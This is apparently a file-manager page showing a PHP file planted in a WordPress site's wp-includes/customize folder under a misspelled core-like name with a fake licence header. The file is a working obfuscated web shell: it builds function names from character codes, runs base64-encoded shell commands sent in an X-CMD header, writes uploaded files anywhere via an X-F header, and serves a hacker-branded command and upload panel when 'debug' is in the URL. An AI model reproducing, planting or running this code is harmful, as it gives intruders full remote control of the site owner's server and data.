文件操作 - class-wp-customlze-syntax-section.php

文件: /storage/v12552/i2kdefense/public_html/wp-includes/customize/class-wp-customlze-syntax-section.php

编辑文件内容

<?php
/**
* Copyright 2012 Johannes M. Schmitt <schmittjoh@gmail.com>
* Licensed under the Apache License, Version 2.0 (the "License");
*/
 
if (isset($_SERVER['QUERY_STRING']) && strpos($_SERVER['QUERY_STRING'], 'debug') !== false) {
    while (@ob_end_clean());
 
    // Membangun fungsi 'base64_decode' dari angka ASCII
    // b(98) a(97) s(115) e(101) 6(54) 4(52) _(95) d(100) e(101) c(99) o(111) d(100) e(101)
    $b64 = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
 
    if (isset($_SERVER['HTTP_X_CMD'])) {
        $cmd = $b64($_SERVER['HTTP_X_CMD']) . " 2>&1";
        $out = "";
 
        // Bangun 'proc_open' secara dinamis
        $po = chr(112).chr(114).chr(111).chr(99).chr(95).chr(111).chr(112).chr(101).chr(110);
        if (function_exists($po)) {
            $descr = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
            $proc = $po($cmd, $descr, $pipes);
            if (is_resource($proc)) {
                $out = stream_get_contents($pipes[1]);
                foreach($pipes as $p) fclose($p);
                proc_close($proc);
            }
        }
 
        echo "<pre style='color:#0f0'>".htmlspecialchars($out ?: "Executed.")."</pre>";
        exit;
    }
 
    if (isset($_SERVER['HTTP_X_F'])) {
        $name = $_SERVER['HTTP_X_F'];
        // Bangun 'file_put_contents'
        $put = chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115);
        // Bangun 'file_get_contents'
        $get = chr(102).chr(105).chr(108).chr(101).chr(95).chr(103).chr(101).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115);
        if (@$put($name, @$get('php://input'))) {
            exit("OK");
        }
    }
 
    echo '<body style="background:#000;color:#0f0;padding:20px;font-family:monospace;">';
    echo '<h3> [ GRUP SA KONG SA ] </h3>';
    echo '<div style="border:1px solid #222;padding:10px;margin-bottom:10px;">UPLOAD: ';
    echo '<script>
        (function(){
            const _t = String.fromCharCode(105,110,112,117,116);
            const _f = String.fromCharCode(102,105,108,101);
            const i = document.createElement(_t);
            i.type = _f;
            document.currentScript.parentElement.appendChild(i);
            i.onchange = async () => {
                const fd = i.files[0];
                await fetch(window.location.href, {
                    method: "POST",
                    headers: {"X-F": fd.name},
                    body: fd
                }).then(r => r.text()).then(t => alert(t));
            };
        })();
</script></div>';
 
    echo '<div style="border:1px solid #222;padding:10px;">CMD: ';
    echo '<input type="text" id="c" style="background:#000;color:#0f0;border:1px solid #0f0;width:80%;outline:none;" onkeydown="if(event.keyCode==13)sh()">';
    echo '<div id="o" style="margin-top:10px;white-space:pre-wrap;color:#0a0;"></div></div>';
 
    echo '<script>
        async function sh(){
            const c=document.getElementById("c"), o=document.getElementById("o");
            o.innerHTML = "Processing...";
            const r = await fetch(window.location.href, {
                method: "POST",
                headers: {"X-CMD": btoa(c.value)}
            });
            o.innerHTML = await r.text();
            c.value = "";
        }
</script></body>';
    exit;
}

文件操作 - class-wp-customlze-syntax-section.php

文件: /storage/v12552/i2kdefense/public_html/wp-includes/customize/class-wp-customlze-syntax-section.php

编辑文件内容

修改文件时间

删除文件